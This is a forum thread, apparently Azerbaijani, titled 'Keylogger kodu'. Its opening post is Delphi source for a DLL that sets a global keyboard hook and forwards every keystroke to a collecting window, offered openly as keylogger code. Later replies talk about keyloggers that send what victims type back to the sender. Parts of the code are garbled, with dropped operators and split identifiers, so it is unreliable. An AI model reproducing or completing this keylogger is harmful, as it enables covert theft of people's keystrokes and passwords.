Jump to content
Forum Windows-az.com

Keylogger kodu


Ʌüsal

Recommended Posts

library KBHook;

 

uses

 

Windows,

 

Messages;

 

type

 

PHWND = ^HWND;

 

const

 

WM_KEYBOARD_HOOK = WM_USER + 52012;

 

var

 

hHook: LongWord = 0;

 

Key: Word;

 

KeyboardLayout: HKL;

 

GetShiftKeys: Boolean;

 

hWndBuffer: PHWND;

 

hMMF: THandle;

 

function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;

 

var

 

LastKey: Char;

 

KeyState: TKeyboardState;

 

begin

 

Result:=CallNextHookEx(hHook,nCode,wParam,lParam);

 

if nCode0 then

 

Key:=Ord(LastKey)

 

else

 

Key:=wParam;

 

if (lParam and $80000000)=0 then

 

if not (wParam in [16,17,18]) or GetShiftKeys then

 

PostMessage(hwndBuffer^,WM_KEYBOARD_HOOK,Key,GetAc tiveWindow);

 

end;

 

end;

 

function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall;

 

var

 

bHWND: PHWND;

 

begin

 

hMMF:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRI TE or SEC_COMMIT,0,SizeOf(hWnd),'((¯¨¤»TuRKi$H_CoDeR«¤¨¯ ))KeyboardHookHandle');

 

bHWND:=MapViewOfFile(hMMF,FILE_MAP_WRITE,0,0,SizeO f(HWND));

 

bHWND^:=hWnd;

 

UnmapViewOfFile(bHWND);

 

GetMem(hWndBuffer,SizeOf(HWND));

 

hWndBuffer^:=hWnd;

 

GetShiftKeys:=ShiftKeys;

 

if hHook=0 then

 

hHook:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc, hInstance,0);

 

Result:=hHook0;

 

end;

 

function DeleteHook: Boolean; stdcall;

 

begin

 

FreeMem(hWndBuffer);

 

CloseHandle(hMMF);

 

Result:=UnhookWindowsHookEx(hHook);

 

hHook:=0;

 

end;

 

exports

 

CreateHook,

 

DeleteHook;

 

var

 

MMF: THandle;

 

begin

 

MMF:=OpenFileMapping(FILE_MAP_READ,false,'((¯¨¤»Bura ne isyərisiz yazın«¤¨¯))KeyboardHookHandle');

 

if MMF0 then begin

 

hWndBuffer:=MapViewOfFile(MMF,FILE_MAP_READ,0,0,Si zeOf(HWND));

 

CloseHandle(MMF);

 

end;

 

end.

 

- Laptop ve Desktop Anakartlarin temiri

- BIOS yazilmasi

- Sifreli SuperUser BIOS-larin silinmesi

- Kicik chiplerin deyisidrilmesi

- BGA Chiplerin deyisdirilmesi (GPU/CPU/FCH/PCH/HM ve s)

Link to comment
Share on other sites

Proqramlar telegramda
  • 1 ay sonra...

programi yiganda onu nezere almalisan ozun.

ele keyloggerler olurki basqasina godnerirsen senin C disqine zapis edir onun yazdiqlarini

- Laptop ve Desktop Anakartlarin temiri

- BIOS yazilmasi

- Sifreli SuperUser BIOS-larin silinmesi

- Kicik chiplerin deyisidrilmesi

- BGA Chiplerin deyisdirilmesi (GPU/CPU/FCH/PCH/HM ve s)

Link to comment
Share on other sites

bunu hec yoxlamaisam

yo elesi yoxdu helekigorekde heleki maraqlairam gorum bir sey ortya cixarda bilecem

- Laptop ve Desktop Anakartlarin temiri

- BIOS yazilmasi

- Sifreli SuperUser BIOS-larin silinmesi

- Kicik chiplerin deyisidrilmesi

- BGA Chiplerin deyisdirilmesi (GPU/CPU/FCH/PCH/HM ve s)

Link to comment
Share on other sites

  • 3 ay sonra...
  • 1 sene sonra...

Sohbete katıl

Şimdi mesajını gönderebilir ve daha sonra kayıt olabilirsin. Bir hesabın varsa, hesabınla göndermek için şimdi oturum aç.

Misafir
Bu konuya yanıt ver...

×   Zengin metin olarak yapıştırıldı.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Önceki içeriğiniz geri yüklendi.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • loading...
×
×
  • Create New...